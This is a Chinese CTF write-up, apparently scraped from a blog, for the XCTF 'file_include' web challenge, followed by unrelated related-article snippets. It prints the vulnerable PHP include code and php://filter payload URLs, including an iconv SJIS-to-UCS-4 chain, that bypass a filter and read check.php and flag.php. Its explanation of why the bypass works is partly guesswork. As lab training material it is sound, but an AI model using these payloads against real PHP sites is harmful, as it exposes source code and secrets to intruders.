XCTF-web-file_include

在這里插入圖片描述

解析

<?php
highlight_file(__FILE__);        // 高亮顯示當前PHP文件源代碼
include("./check.php");          // 包含檢查文件(可能包含安全過濾邏輯)if(isset($_GET['filename'])) {   // 檢查是否傳入filename參數$filename = $_GET['filename'];  // 獲取用戶傳入的文件名include($filename);           // 直接包含該文件
}
?>

?filename=php://filter/convert.base64-encode/resource=./check.php,并沒有得到flag

在這里插入圖片描述

嘗試繞過
?filename=php://filter//convert.iconv.SJIS*.UCS-4*/resource=index.php
php://filter是PHP的一種輸入/輸出流過濾器,用于對資源進行轉換操作。
convert.iconv.SJIS*.UCS - 4*表示使用iconv轉換,將編碼從SJIS相關編碼轉換為UCS - 4相關編碼。
resource=index.php表示要處理的資源是“index.php”文件
將惡意代碼用 SJIS 編碼后,再通過 convert.iconv 轉換為 UCS-4 編碼
*通配符可能繞過了過濾規則中對特定編碼格式的檢查
URL 中的雙斜杠 // 可能被某些解析器處理為單斜杠,繞過路徑檢查

?filename=php://filter//convert.iconv.SJIS*.UCS-4*/resource=./check.php但是并沒有得到flag

在這里插入圖片描述

?filename=php://filter//convert.iconv.SJIS*.UCS-4*/resource=./flag.php得到flag

在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/web/81587.shtml
繁體地址,請注明出處:http://hk.pswp.cn/web/81587.shtml
英文地址,請注明出處:http://en.pswp.cn/web/81587.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

matlab全息技術中的菲涅爾仿真成像

matlab全息技術中的菲涅爾仿真成像程序。 傅里葉法&#xff08;重建距離得大&#xff09;/Fresnel.m , 545 傅里葉法&#xff08;重建距離得大&#xff09;/FresnelB.m , 548 傅里葉法&#xff08;重建距離得大&#xff09;/Fresnel_solution.m , 1643 傅里葉法&#xff08;重…

CS144 - LAB0

CS144 - Lab 0 telnet 發送請求 如圖&#xff0c;很簡單&#xff0c;但是注意輸入時間太久會超時 發郵箱 首先我們需要用命令行去發郵箱&#xff0c;這里我用企業微信郵箱給自己的 qq 郵箱發送~ 整個命令如下&#xff01; 對于其中的參數&#xff0c;其實從英文就可以看出來…

kafka SASL/PLAIN 認證及 ACL 權限控制

一、Zookeeper 配置 SASL/PLAIN 認證&#xff08;每個zookeeper節點都要做&#xff09; 1.1 在 zookeeper 的 conf 目錄下&#xff0c;創建 zk_server_jaas.conf 文件&#xff0c;內容如下 Server {org.apache.kafka.common.security.plain.PlainLoginModule requiredusernam…

20250528-C#知識:函數簡介及函數重載

C#知識&#xff1a;函數簡介及函數重載 本文主要介紹函數參數和函數重載相關的知識點 1、函數 函數一般寫在類中 一般函數調用 static int Add(int num, int value){num value;return num;}//一般函數調用&#xff0c;發生值類型參數的復制int num 1;Add(num, 1); //調用…

Vue內置指令與自定義指令

一、前言 在 Vue 開發中&#xff0c;指令&#xff08;Directives&#xff09; 是一種非常強大的特性&#xff0c;它允許我們以聲明式的方式操作 DOM。Vue 提供了一些常用的內置指令&#xff0c;如 v-if、v-show、v-bind、v-on 等&#xff0c;同時也支持開發者根據需求創建自己…

華為AP6050DN無線接入點瘦模式轉胖模式

引言 華為AP6050DN是一款企業級商用的無線接入點。由于產品定位原因,其默認工作在瘦模式下,即須經AC統一控制和管理,是不能直接充當普通的無線路由器來使用的。 而本文的目的,就是讓其能脫離AC的統一控制和管理,當作普通無線路由器來使用。 硬件準備 華為AP6050DN無線接…

程序員出海之英語-使用手冊

為什么現在實時翻譯工具這么牛逼了&#xff0c;AI轉譯這么準確了&#xff0c;我還在這里跟老古董一樣吭哧吭哧學英語呢&#xff1f; 這是因為我們始終是和人打交道&#xff0c;不僅僅是為了考試&#xff0c;看懂官方文章&#xff0c;聽懂官方視頻。這里為什么說官方&#xff0c…

Java 事務管理:在分布式系統中實現可靠的數據一致性

Java 事務管理&#xff1a;在分布式系統中實現可靠的數據一致性 在當今的軟件開發領域&#xff0c;分布式系統逐漸成為主流架構。然而&#xff0c;這也給事務管理帶來了巨大的挑戰。本文將深入探討 Java 事務管理在分布式系統中的關鍵要點&#xff0c;并通過詳細代碼實例展示如…

微信小程序關于截圖、錄屏攔截

1.安卓 安卓&#xff1a; 在需要禁止的頁面添加 onShow() {if (wx.setVisualEffectOnCapture) {wx.setVisualEffectOnCapture({visualEffect: hidden,complete: function(res) {}})}},// 頁面隱藏和銷毀時需要釋放防截屏錄屏設置onHide() {if (wx.setVisualEffectOnCapture) {w…

使用 PySpark 從 Kafka 讀取數據流并處理為表

使用 PySpark 從 Kafka 讀取數據流并處理為表 下面是一個完整的指南&#xff0c;展示如何通過 PySpark 從 Kafka 消費數據流&#xff0c;并將其處理為可以執行 SQL 查詢的表。 1. 環境準備 確保已安裝: Apache Spark (包含Spark SQL和Spark Streaming)KafkaPySpark對應的Ka…

第十天的嘗試

目錄 一、每日一言 二、練習題 三、效果展示 四、下次題目 五、總結 一、每日一言 哈哈&#xff0c;十天缺了兩天&#xff0c;我寫的文章現在質量不高&#xff0c;所以我可能考慮&#xff0c;應該一星期或者三四天出點高質量的文章&#xff0c;同時很開心大家能夠學到知識&a…

mediapipe標注視頻姿態關鍵點(基礎版加進階版)

前言 手語視頻流的識別有兩種大的分類&#xff0c;一種是直接將視頻輸入進網絡&#xff0c;一種是識別了關鍵點之后再進入網絡。所以這篇文章我就要來講講如何用mediapipe對手語視頻進行關鍵點標注。 代碼 需要直接使用代碼的&#xff0c;我就放這里了。環境自己配置一下吧&…

Redis數據遷移方案及持久化機制詳解

#作者&#xff1a;任少近 文章目錄 前言Redis的持久化機制RDBAOF Redis save和bgsave的區別redis數據遷移redis單機-單機數據遷移redis 主從-主從數據遷移redis 單機-cluster數據遷移redis cluster –redis cluster數據遷移 前言 Redis數據遷移是常見需求&#xff0c;主要包括…

圖論回溯

圖論 200.島嶼數量DFS 給你一個由 ‘1’&#xff08;陸地&#xff09;和 ‘0’&#xff08;水&#xff09;組成的的二維網格&#xff0c;請你計算網格中島嶼的數量。島嶼總是被水包圍&#xff0c;并且每座島嶼只能由水平方向和/或豎直方向上相鄰的陸地連接形成。此外&#xff…

真實網絡項目中交換機常用的配置與解析

一、配置三層鏈路聚合增加鏈路帶寬 1.組網需求 某企業有多個部門分布在不同的地區&#xff0c;由于業務發展的需要&#xff0c;不同區域的部門與部門之間有進行帶有VLAN Tag的報文的傳輸需求。采用透明網橋的遠程橋接和QinQ功能&#xff0c;可以實現企業在不同區域部門之間進…

【Redis】過期鍵刪除策略,LRU和LFU在redis中的實現,緩存與數據庫雙寫一致性問題,go案例

一、Redis 中的過期鍵刪除策略有哪些&#xff1f; 采用了 惰性刪除 和 定期刪除 兩種策略處理過期鍵&#xff1a; 1. 惰性刪除&#xff08;Lazy Deletion&#xff09; 機制&#xff1a;只有在訪問 key 時才檢查是否過期&#xff0c;如果已過期則立刻刪除。優點&#xff1a;對…

為什么單張表索引數量建議控制在 6 個以內

單張表索引數量建議控制在6個以內的主要原因包括以下幾點?&#xff1a; ?性能影響?&#xff1a;索引會占用額外的磁盤空間。如果索引數量過多&#xff0c;會占用大量的磁盤空間&#xff0c;尤其是在數據量較大的情況下&#xff0c;索引占用的空間可能會超過數據本身。此外&…

深度學習實戰109-智能醫療隨訪與健康管理系統:基于Qwen3(32B)、LangChain框架、MCP協議和RAG技術研發

大家好,我是微學AI,今天給大家介紹一下深度學習實戰109-智能醫療隨訪與健康管理系統:基于Qwen3(32B)、LangChain框架、MCP協議和RAG技術研發。在當今醫療信息化快速發展的背景下,醫療隨訪與健康管理面臨著數據分散、信息整合困難、個性化方案生成效率低等挑戰。傳統的醫療隨…

聊一聊 .NET Dump 中的 Linux信號機制

一&#xff1a;背景 1. 講故事 當 .NET程序 在Linux上崩潰時&#xff0c;我們可以配置一些參考拿到對應程序的core文件&#xff0c;拿到core文件后用windbg打開&#xff0c;往往會看到這樣的一句信息 Signal SIGABRT code SI_USER (Sent by kill, sigsend, raise)&#xff0c…

如何在uniapp H5中實現路由守衛

目錄 Vue3 app.config.globalProperties 1. 創建 Vue 應用實例 2. 添加全局屬性或方法 3. 在組件中使用全局屬性或方法 beforeEach在uniapp的注冊 1、在H5中這兩個對象是都存在的。「router:route」但是功能并不全面,具體可參考下圖。 2、剛剛測試了一下,在微信小程序…